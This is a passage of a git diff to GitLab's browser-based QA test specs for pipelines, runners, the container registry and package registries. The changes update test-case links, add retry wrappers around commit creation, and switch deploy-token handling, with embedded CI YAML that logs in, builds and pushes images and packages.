- script:
- - echo "initialized in #{project.default_branch}"
- YAML
- end
+ let!(:test_branch) do
+ Resource::Repository::ProjectPush.fabricate! do |resource|
+ resource.project = project
+ resource.branch_name = random_test_string
+ resource.file_name = '.gitlab-ci.yml'
+ resource.file_content = <<~YAML
+ stages:
+ - test
- let(:production_file_content) do
- <<~YAML
- stages:
- - test
-
- initialize:
- stage: test
- script:
- - echo "initialized in production"
- YAML
+ initialize:
+ stage: test
+ script:
+ - echo "I am now on branch #{random_test_string}"
+ YAML
+ end
end
before do
Flow::Login.sign_in
project.visit!
- Page::Project::Menu.perform(&:go_to_pipeline_editor)
+
+ # Project push sometimes takes a while to complete
+ # Making sure new branch is pushed successfully prior to interacting
+ Support::Retrier.retry_until(max_duration: 15, sleep_interval: 3, reload_page: false, message: 'Ensuring project has branch') do
+ project.has_branch?(random_test_string)
+ end
end
after do
project.remove_via_api!
- Page::Main::Menu.perform(&:sign_out)
end
- it 'can switch branches and target branch field updates accordingly', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1891' do
+ it 'can switch branches and target branch field updates accordingly', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347661' do
+ Page::Project::Menu.perform(&:go_to_pipeline_editor)
Page::Project::PipelineEditor::Show.perform do |show|
- expect(show).to have_branch_selector_button
-
- show.click_branch_selector_button
- show.select_branch_from_dropdown(production_push.branch_name)
+ show.open_branch_selector_dropdown
+ show.select_branch_from_dropdown(random_test_string)
- expect(show.target_branch_name).to eq(production_push.branch_name)
+ aggregate_failures do
+ expect(show.target_branch_name).to eq(random_test_string), 'Target branch field is not showing expected branch name.'
+ expect(show.editing_content).to have_content(random_test_string), 'Editor content does not include expected test string.'
+ end
- show.click_branch_selector_button
+ show.open_branch_selector_dropdown
show.select_branch_from_dropdown(project.default_branch)
- expect(show.target_branch_name).to eq(project.default_branch)
+ aggregate_failures do
+ expect(show.target_branch_name).to eq(project.default_branch), 'Target branch field is not showing expected branch name.'
+ expect(show.editing_content).to have_content(project.default_branch), 'Editor content does not include expected test string.'
+ end
end
end
end
diff --git a/qa/qa/specs/features/browser_ui/4_verify/pipeline/run_pipeline_via_web_only_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/pipeline/run_pipeline_via_web_only_spec.rb
index f599d6b6251..7656aea885e 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/pipeline/run_pipeline_via_web_only_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/pipeline/run_pipeline_via_web_only_spec.rb
@@ -40,7 +40,7 @@ module QA
Page::Project::Menu.perform(&:click_ci_cd_pipelines)
end
- it 'can trigger pipeline', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1650' do
+ it 'can trigger pipeline', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/348011' do
Page::Project::Pipeline::Index.perform do |index|
expect(index).not_to have_pipeline # should not auto trigger pipeline
index.click_run_pipeline_button
diff --git a/qa/qa/specs/features/browser_ui/4_verify/pipeline/trigger_child_pipeline_with_manual_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/pipeline/trigger_child_pipeline_with_manual_spec.rb
index f803cfdb714..ed46481d3be 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/pipeline/trigger_child_pipeline_with_manual_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/pipeline/trigger_child_pipeline_with_manual_spec.rb
@@ -30,7 +30,7 @@ module QA
runner.remove_via_api!
end
- it 'can trigger bridge job', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1237' do
+ it 'can trigger bridge job', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/348086' do
Page::Project::Pipeline::Show.perform do |parent_pipeline|
expect(parent_pipeline).not_to have_child_pipeline
diff --git a/qa/qa/specs/features/browser_ui/4_verify/pipeline/trigger_matrix_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/pipeline/trigger_matrix_spec.rb
index 0bfbd164331..94ac857f0fe 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/pipeline/trigger_matrix_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/pipeline/trigger_matrix_spec.rb
@@ -31,7 +31,7 @@ module QA
project.remove_via_api!
end
- it 'creates 2 trigger jobs and passes corresponding matrix variables', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1824' do
+ it 'creates 2 trigger jobs and passes corresponding matrix variables', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/348000' do
Page::Project::Pipeline::Show.perform do |parent_pipeline|
trigger_title1 = 'deploy: [ovh, monitoring]'
trigger_title2 = 'deploy: [ovh, app]'
diff --git a/qa/qa/specs/features/browser_ui/4_verify/runner/register_runner_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/runner/register_runner_spec.rb
index 42aec99d6cf..8aa01888ae3 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/runner/register_runner_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/runner/register_runner_spec.rb
@@ -15,7 +15,7 @@ module QA
runner.remove_via_api!
end
- it 'user registers a new specific runner', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1600' do
+ it 'user registers a new specific runner', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/348025' do
Flow::Login.sign_in
runner.project.visit!
diff --git a/qa/qa/specs/features/browser_ui/4_verify/testing/view_code_coverage_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/testing/view_code_coverage_spec.rb
index c85920d98ec..f44c56ca0f9 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/testing/view_code_coverage_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/testing/view_code_coverage_spec.rb
@@ -33,7 +33,7 @@ module QA
runner.remove_via_api!
end
- it 'creates an MR with code coverage statistics', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1373' do
+ it 'creates an MR with code coverage statistics', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/348068' do
runner.project.visit!
configure_code_coverage(simplecov)
merge_request.visit!
diff --git a/qa/qa/specs/features/browser_ui/5_package/container_registry/container_registry_omnibus_spec.rb b/qa/qa/specs/features/browser_ui/5_package/container_registry/container_registry_omnibus_spec.rb
index 51735d79fbd..e3c06242a9b 100644
--- a/qa/qa/specs/features/browser_ui/5_package/container_registry/container_registry_omnibus_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/container_registry/container_registry_omnibus_spec.rb
@@ -14,15 +14,15 @@ module QA
end
let(:project_deploy_token) do
- Resource::DeployToken.fabricate_via_browser_ui! do |deploy_token|
+ Resource::ProjectDeployToken.fabricate_via_api! do |deploy_token|
deploy_token.name = 'registry-deploy-token'
deploy_token.project = project
- deploy_token.scopes = [
- :read_repository,
- :read_package_registry,
- :write_package_registry,
- :read_registry,
- :write_registry
+ deploy_token.scopes = %w[
+ read_repository
+ read_package_registry
+ write_package_registry
+ read_registry
+ write_registry
]
end
end
@@ -48,37 +48,95 @@ module QA
project.remove_via_api!
end
- where(:authentication_token_type, :token_name) do
- :personal_access_token | 'Personal Access Token'
- :project_deploy_token | 'Deploy Token'
- :ci_job_token | 'Job Token'
- end
+ context "when tls is disabled" do
+ where(:authentication_token_type, :token_name) do
+ :personal_access_token | 'Personal Access Token'
+ :project_deploy_token | 'Deploy Token'
+ :ci_job_token | 'Job Token'
+ end
- with_them do
- let(:auth_token) do
- case authentication_token_type
- when :personal_access_token
- "\"#{personal_access_token}\""
- when :project_deploy_token
- "\"#{project_deploy_token.password}\""
- when :ci_job_token
- '$CI_JOB_TOKEN'
+ with_them do
+ let(:auth_token) do
+ case authentication_token_type
+ when :personal_access_token
+ "\"#{personal_access_token}\""
+ when :project_deploy_token
+ "\"#{project_deploy_token.token}\""
+ when :ci_job_token
+ '$CI_JOB_TOKEN'
+ end
+ end
+
+ let(:auth_user) do
+ case authentication_token_type
+ when :personal_access_token
+ "$CI_REGISTRY_USER"
+ when :project_deploy_token
+ "\"#{project_deploy_token.username}\""
+ when :ci_job_token
+ 'gitlab-ci-token'
+ end
end
- end
- let(:auth_user) do
- case authentication_token_type
- when :personal_access_token
- "$CI_REGISTRY_USER"
- when :project_deploy_token
- "\"#{project_deploy_token.username}\""
- when :ci_job_token
- 'gitlab-ci-token'
+ where(:docker_client_version) do
+ %w[docker:18.09.9 docker:19.03.12 docker:20.10]
+ end
+
+ with_them do
+ it "pushes image and deletes tag", :registry do
+ Support::Retrier.retry_on_exception(max_attempts: 3, sleep_interval: 2) do
+ Resource::Repository::Commit.fabricate_via_api! do |commit|
+ commit.project = project
+ commit.commit_message = 'Add .gitlab-ci.yml'
+ commit.add_files([{
+ file_path: '.gitlab-ci.yml',
+ content:
+ <<~YAML
+ build:
+ image: "#{docker_client_version}"
+ stage: build
+ services:
+ - name: "#{docker_client_version}-dind"
+ command: ["--insecure-registry=gitlab.test:5050"]
+ variables:
+ IMAGE_TAG: $CI_REGISTRY_IMAGE:$CI_COMMIT_REF_SLUG
+ script:
+ - docker login -u #{auth_user} -p #{auth_token} gitlab.test:5050
+ - docker build -t $IMAGE_TAG .
+ - docker push $IMAGE_TAG
+ tags:
+ - "runner-for-#{project.name}"
+ YAML
+ }])
+ end
+ end
+
+ Flow::Pipeline.visit_latest_pipeline
+
+ Page::Project::Pipeline::Show.perform do |pipeline|
+ pipeline.click_job('build')
+ end
+
+ Page::Project::Job::Show.perform do |job|
+ expect(job).to be_successful(timeout: 800)
+ end
+
+ Page::Project::Menu.perform(&:go_to_container_registry)
+
+ Page::Project::Registry::Show.perform do |registry|
+ expect(registry).to have_registry_repository(project.path_with_namespace)
+
+ registry.click_on_image(project.path_with_namespace)
+ expect(registry).to have_tag('master')
+ end
+ end
end
end
+ end
- context "when tls is disabled" do
- it "using a #{params[:token_name]}, pushes image and deletes tag", :registry do
+ context "when tls is enabled" do
+ it "pushes image and deletes tag", :registry_tls, testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347591' do
+ Support::Retrier.retry_on_exception(max_attempts: 3, sleep_interval: 2) do
Resource::Repository::Commit.fabricate_via_api! do |commit|
commit.project = project
commit.commit_message = 'Add .gitlab-ci.yml'
@@ -91,11 +149,18 @@ module QA
stage: build
services:
- name: docker:19.03.12-dind
- command: ["--insecure-registry=gitlab.test:5050"]
+ command:
+ - /bin/sh
+ - -c
+ - |
+ apk add --no-cache openssl
+ true | openssl s_client -showcerts -connect gitlab.test:5050 > /usr/local/share/ca-certificates/gitlab.test.crt
+ update-ca-certificates
+ dockerd-entrypoint.sh || exit
variables:
IMAGE_TAG: $CI_REGISTRY_IMAGE:$CI_COMMIT_REF_SLUG
script:
- - docker login -u #{auth_user} -p #{auth_token} gitlab.test:5050
+ - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD gitlab.test:5050
- docker build -t $IMAGE_TAG .
- docker push $IMAGE_TAG
tags:
@@ -103,64 +168,6 @@ module QA
YAML
}])
end
-
- Flow::Pipeline.visit_latest_pipeline
-
- Page::Project::Pipeline::Show.perform do |pipeline|
- pipeline.click_job('build')
- end
-
- Page::Project::Job::Show.perform do |job|
- expect(job).to be_successful(timeout: 800)
- end
-
- Page::Project::Menu.perform(&:go_to_container_registry)
-
- Page::Project::Registry::Show.perform do |registry|
- expect(registry).to have_registry_repository(project.path_with_namespace)
-
- registry.click_on_image(project.path_with_namespace)
- expect(registry).to have_tag('master')
-
- registry.click_delete
- expect(registry).not_to have_tag('master')
- end
- end
- end
- end
-
- context "when tls is enabled" do
- it "pushes image and deletes tag", :registry_tls, testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/2378' do
- Resource::Repository::Commit.fabricate_via_api! do |commit|
- commit.project = project
- commit.commit_message = 'Add .gitlab-ci.yml'
- commit.add_files([{
- file_path: '.gitlab-ci.yml',
- content:
- <<~YAML
- build:
- image: docker:19.03.12
- stage: build
- services:
- - name: docker:19.03.12-dind
- command:
- - /bin/sh
- - -c
- - |
- apk add --no-cache openssl
- true | openssl s_client -showcerts -connect gitlab.test:5050 > /usr/local/share/ca-certificates/gitlab.test.crt
- update-ca-certificates
- dockerd-entrypoint.sh || exit
- variables:
- IMAGE_TAG: $CI_REGISTRY_IMAGE:$CI_COMMIT_REF_SLUG
- script:
- - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD gitlab.test:5050
- - docker build -t $IMAGE_TAG .
- - docker push $IMAGE_TAG
- tags:
- - "runner-for-#{project.name}"
- YAML
- }])
end
Flow::Pipeline.visit_latest_pipeline
diff --git a/qa/qa/specs/features/browser_ui/5_package/container_registry/container_registry_spec.rb b/qa/qa/specs/features/browser_ui/5_package/container_registry/container_registry_spec.rb
index 65519cdebec..1df68cc729d 100644
--- a/qa/qa/specs/features/browser_ui/5_package/container_registry/container_registry_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/container_registry/container_registry_spec.rb
@@ -49,17 +49,19 @@ module QA
registry_repository&.remove_via_api!
end
- it 'pushes project image to the container registry and deletes tag', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1833' do
+ it 'pushes project image to the container registry and deletes tag', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347687' do
Flow::Login.sign_in
project.visit!
- Resource::Repository::Commit.fabricate_via_api! do |commit|
- commit.project = project
- commit.commit_message = 'Add .gitlab-ci.yml'
- commit.add_files([{
- file_path: '.gitlab-ci.yml',
- content: gitlab_ci_yaml
- }])
+ Support::Retrier.retry_on_exception(max_attempts: 3, sleep_interval: 2) do
+ Resource::Repository::Commit.fabricate_via_api! do |commit|
+ commit.project = project
+ commit.commit_message = 'Add .gitlab-ci.yml'
+ commit.add_files([{
+ file_path: '.gitlab-ci.yml',
+ content: gitlab_ci_yaml
+ }])
+ end
end
Flow::Pipeline.visit_latest_pipeline
diff --git a/qa/qa/specs/features/browser_ui/5_package/container_registry/online_garbage_collection_spec.rb b/qa/qa/specs/features/browser_ui/5_package/container_registry/online_garbage_collection_spec.rb
index 82b7af8eba7..e8d936e67b1 100644
--- a/qa/qa/specs/features/browser_ui/5_package/container_registry/online_garbage_collection_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/container_registry/online_garbage_collection_spec.rb
@@ -82,18 +82,20 @@ module QA
setting.click_save_changes_button
end
- Resource::Repository::Commit.fabricate_via_api! do |commit|
- commit.project = imported_project
- commit.branch = 'online-gc-test-builder-poc'
- commit.commit_message = 'Update .gitlab-ci.yml'
- commit.update_files([{
- file_path: '.gitlab-ci.yml',
- content: gitlab_ci_yaml
- }])
+ Support::Retrier.retry_on_exception(max_attempts: 3, sleep_interval: 2) do
+ Resource::Repository::Commit.fabricate_via_api! do |commit|
+ commit.project = imported_project
+ commit.branch = 'online-gc-test-builder-poc'
+ commit.commit_message = 'Update .gitlab-ci.yml'
+ commit.update_files([{
+ file_path: '.gitlab-ci.yml',
+ content: gitlab_ci_yaml
+ }])
+ end
end
end
- it 'runs the online garbage collector tool', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1889' do
+ it 'runs the online garbage collector tool', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347663' do
imported_project.visit!
Flow::Pipeline.visit_latest_pipeline
diff --git a/qa/qa/specs/features/browser_ui/5_package/dependency_proxy/dependency_proxy_spec.rb b/qa/qa/specs/features/browser_ui/5_package/dependency_proxy/dependency_proxy_spec.rb
index b941d5434df..5e0f1911811 100644
--- a/qa/qa/specs/features/browser_ui/5_package/dependency_proxy/dependency_proxy_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/dependency_proxy/dependency_proxy_spec.rb
@@ -46,32 +46,34 @@ module QA
with_them do
it "pulls an image using the dependency proxy" do
- Resource::Repository::Commit.fabricate_via_api! do |commit|
- commit.project = project
- commit.commit_message = 'Add .gitlab-ci.yml'
- commit.add_files([{
- file_path: '.gitlab-ci.yml',
- content:
- <<~YAML
- dependency-proxy-pull-test:
- image: "#{docker_client_version}"
- services:
- - name: "#{docker_client_version}-dind"
- command: ["--insecure-registry=gitlab.test:80"]
- before_script:
- - apk add curl jq grep
- - echo $CI_DEPENDENCY_PROXY_SERVER
- - docker login -u "$CI_DEPENDENCY_PROXY_USER" -p "$CI_DEPENDENCY_PROXY_PASSWORD" gitlab.test:80
- script:
- - docker pull #{dependency_proxy_url}/#{image_sha}
- - TOKEN=$(curl "https://auth.docker.io/token?service=registry.docker.io&scope=repository:ratelimitpreview/test:pull" | jq --raw-output .token)
- - 'curl --head --header "Authorization: Bearer $TOKEN" "https://registry-1.docker.io/v2/ratelimitpreview/test/manifests/latest" 2>&1'
- - docker pull #{dependency_proxy_url}/#{image_sha}
- - 'curl --head --header "Authorization: Bearer $TOKEN" "https://registry-1.docker.io/v2/ratelimitpreview/test/manifests/latest" 2>&1'
- tags:
- - "runner-for-#{project.name}"
- YAML
- }])
+ Support::Retrier.retry_on_exception(max_attempts: 3, sleep_interval: 2) do
+ Resource::Repository::Commit.fabricate_via_api! do |commit|
+ commit.project = project
+ commit.commit_message = 'Add .gitlab-ci.yml'
+ commit.add_files([{
+ file_path: '.gitlab-ci.yml',
+ content:
+ <<~YAML
+ dependency-proxy-pull-test:
+ image: "#{docker_client_version}"
+ services:
+ - name: "#{docker_client_version}-dind"
+ command: ["--insecure-registry=gitlab.test:80"]
+ before_script:
+ - apk add curl jq grep
+ - echo $CI_DEPENDENCY_PROXY_SERVER
+ - docker login -u "$CI_DEPENDENCY_PROXY_USER" -p "$CI_DEPENDENCY_PROXY_PASSWORD" gitlab.test:80
+ script:
+ - docker pull #{dependency_proxy_url}/#{image_sha}
+ - TOKEN=$(curl "https://auth.docker.io/token?service=registry.docker.io&scope=repository:ratelimitpreview/test:pull" | jq --raw-output .token)
+ - 'curl --head --header "Authorization: Bearer $TOKEN" "https://registry-1.docker.io/v2/ratelimitpreview/test/manifests/latest" 2>&1'
+ - docker pull #{dependency_proxy_url}/#{image_sha}
+ - 'curl --head --header "Authorization: Bearer $TOKEN" "https://registry-1.docker.io/v2/ratelimitpreview/test/manifests/latest" 2>&1'
+ tags:
+ - "runner-for-#{project.name}"
+ YAML
+ }])
+ end
end
project.visit!
diff --git a/qa/qa/specs/features/browser_ui/5_package/package_registry/composer_registry_spec.rb b/qa/qa/specs/features/browser_ui/5_package/package_registry/composer_registry_spec.rb
index 9ddf485870d..92e4d64fee4 100644
--- a/qa/qa/specs/features/browser_ui/5_package/package_registry/composer_registry_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/package_registry/composer_registry_spec.rb
@@ -70,19 +70,20 @@ module QA
before do
Flow::Login.sign_in
-
- Resource::Repository::Commit.fabricate_via_api! do |commit|
- commit.project = project
- commit.commit_message = 'Add .gitlab-ci.yml'
- commit.add_files([{
- file_path: '.gitlab-ci.yml',
- content: gitlab_ci_yaml
- },
- {
- file_path: 'composer.json',
- content: composer_json_file
- }]
- )
+ Support::Retrier.retry_on_exception(max_attempts: 3, sleep_interval: 2) do
+ Resource::Repository::Commit.fabricate_via_api! do |commit|
+ commit.project = project
+ commit.commit_message = 'Add .gitlab-ci.yml'
+ commit.add_files([{
+ file_path: '.gitlab-ci.yml',
+ content: gitlab_ci_yaml
+ },
+ {
+ file_path: 'composer.json',
+ content: composer_json_file
+ }]
+ )
+ end
end
project.visit!
@@ -102,7 +103,7 @@ module QA
package.remove_via_api!
end
- it 'publishes a composer package and deletes it', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1634' do
+ it 'publishes a composer package and deletes it', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/348016' do
Page::Project::Menu.perform(&:click_packages_link)
Page::Project::Packages::Index.perform do |index|
diff --git a/qa/qa/specs/features/browser_ui/5_package/package_registry/conan_repository_spec.rb b/qa/qa/specs/features/browser_ui/5_package/package_registry/conan_repository_spec.rb
index 126be22d760..15578cd5e6b 100644
--- a/qa/qa/specs/features/browser_ui/5_package/package_registry/conan_repository_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/package_registry/conan_repository_spec.rb
@@ -41,30 +41,32 @@ module QA
package.remove_via_api!
end
- it 'publishes, installs, and deletes a Conan package', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1638' do
+ it 'publishes, installs, and deletes a Conan package', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/348014' do
Flow::Login.sign_in
- Resource::Repository::Commit.fabricate_via_api! do |commit|
- commit.project = project
- commit.commit_message = 'Add .gitlab-ci.yml'
- commit.add_files([{
- file_path: '.gitlab-ci.yml',
- content:
- <<~YAML
- image: conanio/gcc7
-
- test_package:
- stage: deploy
- script:
- - "conan remote add gitlab #{gitlab_address_with_port}/api/v4/projects/#{project.id}/packages/conan"
- - "conan new #{package.name}/0.1 -t"
- - "conan create . mycompany/stable"
- - "CONAN_LOGIN_USERNAME=ci_user CONAN_PASSWORD=${CI_JOB_TOKEN} conan upload #{package.name}/0.1@mycompany/stable --all --remote=gitlab"
- - "conan install #{package.name}/0.1@mycompany/stable --remote=gitlab"
- tags:
- - "runner-for-#{project.name}"
- YAML
- }])
+ Support::Retrier.retry_on_exception(max_attempts: 3, sleep_interval: 2) do
+ Resource::Repository::Commit.fabricate_via_api! do |commit|
+ commit.project = project
+ commit.commit_message = 'Add .gitlab-ci.yml'
+ commit.add_files([{
+ file_path: '.gitlab-ci.yml',
+ content:
+ <<~YAML
+ image: conanio/gcc7
+
+ test_package:
+ stage: deploy
+ script:
+ - "conan remote add gitlab #{gitlab_address_with_port}/api/v4/projects/#{project.id}/packages/conan"
+ - "conan new #{package.name}/0.1 -t"
+ - "conan create . mycompany/stable"
+ - "CONAN_LOGIN_USERNAME=ci_user CONAN_PASSWORD=${CI_JOB_TOKEN} conan upload #{package.name}/0.1@mycompany/stable --all --remote=gitlab"
+ - "conan install #{package.name}/0.1@mycompany/stable --remote=gitlab"
+ tags:
+ - "runner-for-#{project.name}"
+ YAML
+ }])
+ end
end
project.visit!
diff --git a/qa/qa/specs/features/browser_ui/5_package/package_registry/generic_repository_spec.rb b/qa/qa/specs/features/browser_ui/5_package/package_registry/generic_repository_spec.rb
index 86aca120eed..ded90607d67 100644
--- a/qa/qa/specs/features/browser_ui/5_package/package_registry/generic_repository_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/package_registry/generic_repository_spec.rb
@@ -57,18 +57,20 @@ module QA
before do
Flow::Login.sign_in
- Resource::Repository::Commit.fabricate_via_api! do |commit|
- commit.project = project
- commit.commit_message = 'Add .gitlab-ci.yml'
- commit.add_files([{
- file_path: '.gitlab-ci.yml',
- content: gitlab_ci_yaml
- },
- {
- file_path: 'file.txt',
- content: file_txt
- }]
- )
+ Support::Retrier.retry_on_exception(max_attempts: 3, sleep_interval: 2) do
+ Resource::Repository::Commit.fabricate_via_api! do |commit|
+ commit.project = project
+ commit.commit_message = 'Add .gitlab-ci.yml'
+ commit.add_files([{
+ file_path: '.gitlab-ci.yml',
+ content: gitlab_ci_yaml
+ },
+ {
+ file_path: 'file.txt',
+ content: file_txt
+ }]
+ )
+ end
end
project.visit!
@@ -98,7 +100,7 @@ module QA
package.remove_via_api!
end
- it 'uploads a generic package, downloads and deletes it', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1628' do
+ it 'uploads a generic package, downloads and deletes it', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/348017' do
Page::Project::Menu.perform(&:click_packages_link)
Page::Project::Packages::Index.perform do |index|
diff --git a/qa/qa/specs/features/browser_ui/5_package/package_registry/helm_registry_spec.rb b/qa/qa/specs/features/browser_ui/5_package/package_registry/helm_registry_spec.rb
index 3f5e8b1a630..92d0f547764 100644
--- a/qa/qa/specs/features/browser_ui/5_package/package_registry/helm_registry_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/package_registry/helm_registry_spec.rb
@@ -88,16 +88,17 @@ module QA
when :ci_job_token
'${CI_JOB_TOKEN}'
when :project_deploy_token
- project_deploy_token.password
+ project_deploy_token.token
end
end
it "pushes and pulls a helm chart" do
- # pushing
- Resource::Repository::Commit.fabricate_via_api! do |commit|
- commit.project = package_project
- commit.commit_message = 'Add .gitlab-ci.yml'
- commit.add_files([package_gitlab_ci_file, package_chart_yaml_file])
+ Support::Retrier.retry_on_exception(max_attempts: 3, sleep_interval: 2) do
+ Resource::Repository::Commit.fabricate_via_api! do |commit|
+ commit.project = package_project
+ commit.commit_message = 'Add .gitlab-ci.yml'
+ commit.add_files([package_gitlab_ci_file, package_chart_yaml_file])
+ end
end
package_project.visit!
@@ -124,11 +125,12 @@ module QA
expect(show).to have_package_info(package_name, package_version)
end
- # pulling
- Resource::Repository::Commit.fabricate_via_api! do |commit|
- commit.project = client_project
- commit.commit_message = 'Add .gitlab-ci.yml'
- commit.add_files([client_gitlab_ci_file])
+ Support::Retrier.retry_on_exception(max_attempts: 3, sleep_interval: 2) do
+ Resource::Repository::Commit.fabricate_via_api! do |commit|
+ commit.project = client_project
+ commit.commit_message = 'Add .gitlab-ci.yml'
+ commit.add_files([client_gitlab_ci_file])
+ end
end
client_project.visit!
diff --git a/qa/qa/specs/features/browser_ui/5_package/package_registry/maven_gradle_repository_spec.rb b/qa/qa/specs/features/browser_ui/5_package/package_registry/maven_gradle_repository_spec.rb
index 2aa93de0b9e..57e1aa6a087 100644
--- a/qa/qa/specs/features/browser_ui/5_package/package_registry/maven_gradle_repository_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/package_registry/maven_gradle_repository_spec.rb
@@ -97,7 +97,7 @@ module QA
when :ci_job_token
'System.getenv("CI_JOB_TOKEN")'
when :project_deploy_token
- "\"#{project_deploy_token.password}\""
+ "\"#{project_deploy_token.token}\""
end
end
@@ -139,11 +139,12 @@ module QA
end
it "pushes and pulls a maven package via gradle using #{params[:authentication_token_type]}" do
- # pushing
- Resource::Repository::Commit.fabricate_via_api! do |commit|
- commit.project = package_project
- commit.commit_message = 'Add .gitlab-ci.yml'
- commit.add_files([package_gitlab_ci_file, package_build_gradle_file])
+ Support::Retrier.retry_on_exception(max_attempts: 3, sleep_interval: 2) do
+ Resource::Repository::Commit.fabricate_via_api! do |commit|
+ commit.project = package_project
+ commit.commit_message = 'Add .gitlab-ci.yml'
+ commit.add_files([package_gitlab_ci_file, package_build_gradle_file])
+ end
end
package_project.visit!
@@ -170,11 +171,12 @@ module QA
expect(show).to have_package_info(package_name, package_version)
end
- # pulling
- Resource::Repository::Commit.fabricate_via_api! do |commit|
- commit.project = client_project
- commit.commit_message = 'Add .gitlab-ci.yml'
- commit.add_files([client_gitlab_ci_file, client_build_gradle_file])
+ Support::Retrier.retry_on_exception(max_attempts: 3, sleep_interval: 2) do
+ Resource::Repository::Commit.fabricate_via_api! do |commit|
+ commit.project = client_project
+ commit.commit_message = 'Add .gitlab-ci.yml'
+ commit.add_files([client_gitlab_ci_file, client_build_gradle_file])
+ end
end
client_project.visit!
diff --git a/qa/qa/specs/features/browser_ui/5_package/package_registry/maven_repository_spec.rb b/qa/qa/specs/features/browser_ui/5_package/package_registry/maven_repository_spec.rb
index f42093bffcd..e6591b6adb9 100644
--- a/qa/qa/specs/features/browser_ui/5_package/package_registry/maven_repository_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/package_registry/maven_repository_spec.rb
@@ -142,7 +142,7 @@ module QA
when :ci_job_token
'${env.CI_JOB_TOKEN}'
when :project_deploy_token
- project_deploy_token.password
+ project_deploy_token.token
end
end
@@ -171,15 +171,16 @@ module QA
end
it "pushes and pulls a maven package via maven using #{params[:authentication_token_type]}" do
- # pushing
- Resource::Repository::Commit.fabricate_via_api! do |commit|
- commit.project = package_project
- commit.commit_message = 'Add .gitlab-ci.yml'
- commit.add_files([
- package_gitlab_ci_file,
- package_pom_file,
- settings_xml
- ])
+ Support::Retrier.retry_on_exception(max_attempts: 3, sleep_interval: 2) do
+ Resource::Repository::Commit.fabricate_via_api! do |commit|
+ commit.project = package_project
+ commit.commit_message = 'Add .gitlab-ci.yml'
+ commit.add_files([
+ package_gitlab_ci_file,
+ package_pom_file,
+ settings_xml
+ ])
+ end
end
package_project.visit!
@@ -206,15 +207,16 @@ module QA
expect(show).to have_package_info(package_name, package_version)
end
- # pulling
- Resource::Repository::Commit.fabricate_via_api! do |commit|
- commit.project = client_project
- commit.commit_message = 'Add .gitlab-ci.yml'
- commit.add_files([
- client_gitlab_ci_file,
- client_pom_file,
- settings_xml
- ])
+ Support::Retrier.retry_on_exception(max_attempts: 3, sleep_interval: 2) do
+ Resource::Repository::Commit.fabricate_via_api! do |commit|
+ commit.project = client_project
+ commit.commit_message = 'Add .gitlab-ci.yml'
+ commit.add_files([
+ client_gitlab_ci_file,
+ client_pom_file,
+ settings_xml
+ ])
+ end
end
client_project.visit!
@@ -290,14 +292,16 @@ module QA
end
def push_duplicated_package
- Resource::Repository::Commit.fabricate_via_api! do |commit|
- commit.project = client_project
- commit.commit_message = 'Add .gitlab-ci.yml'
- commit.add_files([
- package_gitlab_ci_file,
- package_pom_file,
- settings_xml
- ])
+ Support::Retrier.retry_on_exception(max_attempts: 3, sleep_interval: 2) do
+ Resource::Repository::Commit.fabricate_via_api! do |commit|
+ commit.project = client_project
+ commit.commit_message = 'Add .gitlab-ci.yml'
+ commit.add_files([
+ package_gitlab_ci_file,
+ package_pom_file,
+ settings_xml
+ ])
+ end
end
end
